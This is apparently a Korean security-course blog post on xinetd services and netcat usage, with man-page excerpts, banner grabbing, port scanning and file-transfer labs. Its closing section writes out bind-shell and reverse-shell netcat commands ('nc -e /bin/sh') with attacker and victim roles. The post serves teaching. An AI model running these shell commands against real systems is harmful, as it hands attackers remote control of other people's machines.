목차
1. xinetd 서비스
2. nc
3. Race Condition
xinetd 서비스
■ xinetd = inetd + extended(tcp_wrapper)
Redhat 6.X ----------------------> Redhat 7.X
inetd(/etc/inetd.conf) xinetd(/etc/xinetd.conf, /etc/xinetd.d/*)
■ 서버에서 서비스 하는 방법의 종류
standalone 방식의 서비스(EX: web, mail) ==> (CentOS7.x)부터 .service로 바뀜 (ex.httpd.service)
서버에서 서비스 데몬을 직접 띄워 놓고 서비스 하는 방식
xinetd 방식의 서비스(EX: telnet)==> (CentOS7.x)부터 telnet.socket으로 바뀜
서버에서 xinetd 데몬을 띄워 놓고 클라이언트가 서비스 요청을 하면 그때 xinetd 데몬이 적당한 데몬을 띄워주는 방식
■ standalone & xinetd 방식의 차이점
standalone 방식의 서비스(EX: web)
-> 서비스 요청이 많은 경우에 적당
----- client----- ----- server(WEB) ----
http://www.daum.net httpd(80)
xinetd 방식의 서비스(EX: telnet)
-> 서비스 요청이 적은 경우에 적당
----- client----- ----- server(TELNET) ----
# telnet server 23 xinetd ----------> telnetd(23)
/etc/xinetd.conf
/etc/xinetd.d/*
/etc/services
[참고] xinetd 데몬은 standalone 방식의 서비스 데몬이다.
(linux206)
[실습] xinetd 방식에 대한 간단한 실습
[TERM1] # pgrep -lf telnet
# telnet localhost
root 사용자로 로그인
[TERM2] # pgrep -lf telnet
[TERM3] # telnet localhost
root 사용자로 로그인
[TERM2] # pgrep -lf telnet
[TERM3] # exit
[TERM2] # pgrep -lf telnet
[TERM1] # exit
[TERM2] # pgrep -lf telnet
(linux206)
[실습] xinetd 데몬과 설정파일에 대해서
----- client----- ----- server(TELNET) ----
# telnet server 23 xinetd ----------> telnetd(23)
/etc/xinetd.conf
/etc/xinetd.d/*
/etc/services
# pgrep -lf xinetd
4421 xinetd -stayalive -pidfile /var/run/xinetd.pid |
-> xinetd 데몬은 standalone 방식의 서비스 데몬
# cat /etc/xinetd.conf
..... (중략) ..... # Generally, banners are not used. This sets up their global defaults # # banner = # banner_fail = # banner_success = }
includedir /etc/xinetd.d |
-> /etc/xinetd.conf 파일의 마지막 라인을 확인한다.
# cd /etc/xinetd.d
# ls
chargen-dgram discard-stream gssftp rsync chargen-stream echo-dgram klogin tcpmux-server daytime-dgram echo-stream krb5-telnet tftp daytime-stream eklogin kshell time-dgram discard-dgram ekrb5-telnet rmcp time-stream |
# cat krb5-telnet
# default: off # description: The kerberized telnet server accepts normal telnet sessions, \ # but can also use Kerberos 5 authentication. service telnet { disable = no (서비스를 온오프 시키는 설정 / enable 되어있는 상황) flags = REUSE socket_type = stream (tcp 방식) wait = no user = root(어ᄄᅠᆫ 사용자로 띄울건지) server = /usr/kerberos/sbin/telnetd (xinet의 설정파일) log_on_failure += USERID } |
(설명)
# vi krb5-telnet (# chkconfig krb5-telnet off)
[수정전] disable = no [수정후] disable = yes |
# service xinetd restart
# telnet localhost
-> 접근 X
# vi krb5-telnet (# chkconfig krb5-telnet on)
[수정전] disable = yes [수정후] disable = no |
# service xinetd restart
# telnet localhost
-> 접근 0 (적당한 사용자로 로그인)
# exit
# chkconfig krb5-telnet off (부팅시 서비스를 제어할 때 쓰는 방식)
# cat /etc/xinetd.d/krb5-telnet
-> disable = yes
# chkconfig krb5-telnet on (단순히 파일 기동 여부 바꿔준다)
# cat /etc/xinetd.d/krb5-telnet
-> disable = no
(standalone 방식의 서비스)
(부팅) # chkconfig httpd on
(현재) # service httpd restart
(xinetd 방식의 서비스)
# chkconfig krb5-telnet on --> /etc/xinetd.conf(/etc/xinetd.d/krb5-telnet)
# service xinetd restart
CentOS 5.X |
CentOS 7.X |
||
Standalone |
xinetd |
Stanalone(.service) |
xinetd(.socket) |
# chkconfig httpd on # service httpd restart |
# chkconfig krb5-telnet on # service xinetd restart |
# systemctl enable telnet.socket # systemctl restart telnet.socket |
telnet.socket : xinetd
httpd.service : standalone
[실습] xinetd/standalone 방식의 서비스 목록 확인
# chkconfig --list
-> 출력 내용 생략
# chkconfig --list | grep httpd
httpd 0:off 1:off 2:on 3:on 4:on 5:on 6:off |
# chkconfig httpd on (부팅시 서비스 온) centOS7= systmectl enable httpd.service
# service httpd restart (이름이 동일하면 standalone)
centoS7= systemctl restart httpd.s
# chkconfig --list | grep telnet
ekrb5-telnet: off krb5-telnet: on |
# chkconfig krb5-telnet on 데몬이 직접 떠 있지 않은 xinet 방식은 이름이 다름
centos7= systemctl enable telnet.socket
# service xinetd restart centOS7= systemctl restart telnet.socket
nc(netcat) 명령어 사용법
■ 보안에서 사용되는 nc CMD 용도
모의해킹 관점 : 백도어(EX: reverse_tcp, bind_tcp)
포렌식 관점 : 파일 전송(EX: OS Image 전송, 지정된 이미지 파일 전송)
기타
NAME
nc - arbitrary TCP and UDP connections and listens
SYNOPSIS
nc [-46DdhklnrStUuvz] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]]
[hostname] [port[s]]
-l Used to specify that nc should listen for an
incoming connection rather than initiate a connec-
tion to a remote host. It is an error to use this
option in conjunction with the -p, -s, or -z
options. Additionally, any timeouts specified
with the -w option are ignored.
-u Use UDP instead of the default option of TCP.
CLIENT/SERVER MODEL
It is quite simple to build a very basic client/server
model using nc. On one console, start nc listening on a
specific port for a connection. For example:
(nc server) $ nc -l 1234
nc is now listening on port 1234 for a connection. On a
second console (or a second machine), connect to the
machine and port being listened on:
(nc client) $ nc 127.0.0.1 1234
There should now be a connection between the ports. Any-
thing typed at the second console will be concatenated to
the first, and vice-versa. After the connection has been
set up, nc does not really care which side is being used
as a 'server' and which side is being used as a 'client'.
The connection may be terminated using an EOF ('^D').
DATA TRANSFER
The example in the previous section can be expanded to
build a basic data transfer model. Any information input
into one end of the connection will be output to the other
end, and input and output can be easily captured in order
to emulate file transfer.
Start by using nc to listen on a specific port, with out-
put captured into a file:
$ nc -l 1234 > filename.out
Using a second machine, connect to the listening nc pro-
cess, feeding it the file which is to be transferred:
$ nc host.example.com 1234 < filename.in
After the file has been transferred, the connection will
close automatically.
TALKING TO SERVERS
It is sometimes useful to talk to servers "by hand" rather
than through a user interface. It can aid in trou-
bleshooting, when it might be necessary to verify what
data a server is sending in response to commands issued by
the client. For example, to retrieve the home page of a
web site:
$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
Note that this also displays the headers sent by the web
server. They can be filtered, using a tool such as
sed(1), if necessary.
More complicated examples can be built up when the user
knows the format of requests required by the server. As
another example, an email may be submitted to an SMTP
server using:
$ nc localhost 25 << EOF
HELO host.example.com
MAIL FROM: <user@host.example.com>
RCPT TO: <user2@host.example.com>
DATA
Body of email.
.
QUIT
EOF
PORT SCANNING
It may be useful to know which ports are open and running
services on a target machine. The -z flag can be used to
tell nc to report open ports, rather than initiate a con-
nection. For example:
$ nc -z host.example.com 20-30
Connection to host.example.com 22 port [tcp/ssh] succeeded!
Connection to host.example.com 25 port [tcp/smtp] succeeded!
The port range was specified to limit the search to ports
20 - 30.
Alternatively, it might be useful to know which server
software is running, and which versions. This information
is often contained within the greeting banners. In order
to retrieve these, it is necessary to first make a connec-
tion, and then break the connection when the banner has
been retrieved. This can be accomplished by specifying a
small timeout with the -w flag, or perhaps by issuing a
"QUIT" command to the server:
$ echo "QUIT" | nc host.example.com 20-30
SSH-1.99-OpenSSH_3.6.1p2
Protocol mismatch.
220 host.example.com IMS SMTP Receiver Version 0.84 Ready
EXAMPLES
Open a TCP connection to port 42 of host.example.com,
using port 31337 as the source port, with a timeout of 5
seconds:
$ nc -p 31337 -w 5 host.example.com 42
Open a UDP connection to port 53 of host.example.com:
$ nc -u host.example.com 53
Open a TCP connection to port 42 of host.example.com using
10.1.2.3 as the IP for the local end of the connection:
$ nc -s 10.1.2.3 host.example.com 42
Create and listen on a Unix Domain Socket:
$ nc -lU /var/tmp/dsocket
Connect to port 42 of host.example.com via an HTTP proxy
at 10.2.3.4, port 8080. This example could also be used
by ssh(1); see the ProxyCommand directive in ssh_config(5)
for more information.
$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42
넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.
Netcat(이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램입니다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 네트워크에 읽거나 쓸수 있습니다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하고, 원하는 포트로 원하는 데이터를 주고받을수 있는 특징때문에 해킹에도 널리 이용되며, 컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기위해서도 사용될수 있습니다.
nc은 원하는 거의 모든 종류의 접속형태를 만들어 낼 수 있고 흥미로운 몇 가지 내장기능을 갖고 있기 때문에 다기능의 네크워크 문제해결/조사시 유용하게 사용가능합니다.
■ 프로그램 다운로드
(리눅스용 nc) http://netcat.sourceforge.net/
(윈도우용 nc) http://www.securityfocus.com/tools/139/scoreit
■ nc 최신버전에 대한 사용법
----------------------------------------------------------------------------------------------
usage : nc [options] [target host] [ports]
-n : 호스트 네임과 포트를 숫자로만 입력받는다.
-v : verbosity 를 증가 시킨다. 더 많은 정보를 얻을수 있다.
-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다.
-u : TCP connection 대신에 UDP connection 이 이루어 진다.
-p [port number or name] : local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다.
-s [ip address or DNS] : local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다.
-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다. nc를 server 로서 쓸때 사용.
-e [filename] : -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다.
-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다.
-i [interval time] : nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 Standard input의 한 라인씩 interval time마다 보내게 된다.
-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션.
-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize 합니다. 이때 주의 할 것은 -p가 -r을 override 한다는 것입니다.
----------------------------------------------------------------------------------------------
(linux200)
[실습] netcat 명령어 설치
# yum -y install nmap-ncat
-> 출력내용 생략
# rpm -qa | grep nmap-ncat
nmap-ncat-6.40-16.el7.x86_64 |
[실습] 간단한 네트워크 연결
# nc 192.168.10.200 22 (# telnet localhost 22)
SSH-2.0-OpenSSH_4.3 exit Protocol mismatch. |
<CTRL + D>로 종료
[실습] 서비스 배너 수집
# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80
HTTP/1.1 200 OK Date: Fri, 22 Aug 2014 07:13:00 GMT Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1i Last-Modified: Fri, 22 Aug 2014 07:10:38 GMT ETag: "9ae4-5013288ca49a2" Accept-Ranges: bytes Content-Length: 39652 Vary: Accept-Encoding Cache-Control: max-age=3600 Expires: Fri, 22 Aug 2014 08:13:00 GMT Connection: close Content-Type: text/html; charset=utf-8 |
# echo -e "HEAD / HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK Date: Fri, 22 Aug 2014 07:12:33 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Mon, 14 Jul 2014 10:40:47 GMT ETag: "62237b-43-ec8109c0" Accept-Ranges: bytes Content-Length: 67 Connection: close Content-Type: text/html; charset=UTF-8 |
-> 위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.
[실습] 간단한 서버/클라이언트 구성
포트 7979에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.
(nc server) 192.168.10.200
[TERM1] # nc -l 7979
(nc client) 192.168.10.200
[TERM2] # nc 192.168.10.200 7979 (# telnet 192.168.10.200 7979)
hi
hello netcat!!!!
<CTRL + D>
-> 클라이언트에서 입력한 모든 문자가 서버에 출력된다.
-> 간단한 채팅 서버를 만든 셈이다.
-> 클라이언트에서 <CTRL + D> 통해 끊을 때 서버도 같이 종료 된다.
-> connection 이 이루어 졌을 때 파일을 실행시킨다. -l 과 같이 사용되면 한 instance만을 사용하
는 inetd와 비슷하다.
[실습] 파일 전송
클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.
클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.
(nc server) [TERM1] # nc -l 7979 > /tmp/output.txt
(nc client) [TERM2] # ps auxf | nc 192.168.10.200 7979
or
# nc 192.168.10.200 < /tmp/input.txt
(nc server) [TERM1] # cat /tmp/output.txt
[참고] 참고 사이트(반드시 참고한다.)
http://devanix.tistory.com/307
-> 바인드 쉘(bind shell)과 리버스 셀(reverse shell) 부분을 참고한다.
https://www.linux.co.kr/home/lecture/?leccode=10648
http://1828.tistory.com/entry/Tool-NC-NetCat
http://egloos.zum.com/hanguy/v/2079313
http://security.kaist.ac.kr/docs/netcat.html
http://www.oac.uci.edu/indiv/franklin/doc/netcat.html
■ 백도어 쉘(bind_tcp)
서버(공인 IP) - Victim |
클라언트(공인IP/사설IP) - Attacker |
# nc -e /bin/sh -l -p 1234
|
# nc <Victim's IP> 1234 uname -a; ls -al; |
■ 리버스 쉘(reverse_tcp)
서버(공인 IP) - Attacker |
클라언트(공인IP/사설IP) - Victim |
# nc -n -v -l -p 1234
ifconfig; id; hostname; |
# nc -e /bin/sh <Victim's IP> 1234
|
* 쉘을 어느 쪽에서 띄울 것인가의 차이 서버 or 클라이언트
[출처]
솔데스크 백승찬 강사님
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
정보보안 과정 Day 66-1 : 리버싱 4 (0) | 2020.12.09 |
---|---|
정보보안 과정 Day 66 : 의사코드 복원 실습 (0) | 2020.12.09 |
정보보안 과정 Day64 : Reverse Engineering 2 (0) | 2020.12.07 |
정보보안 과정 Day63 : Reverse Engineering 1 (0) | 2020.12.04 |
정보보안 과정 Day53~62 모의해킹 실습 (0) | 2020.12.04 |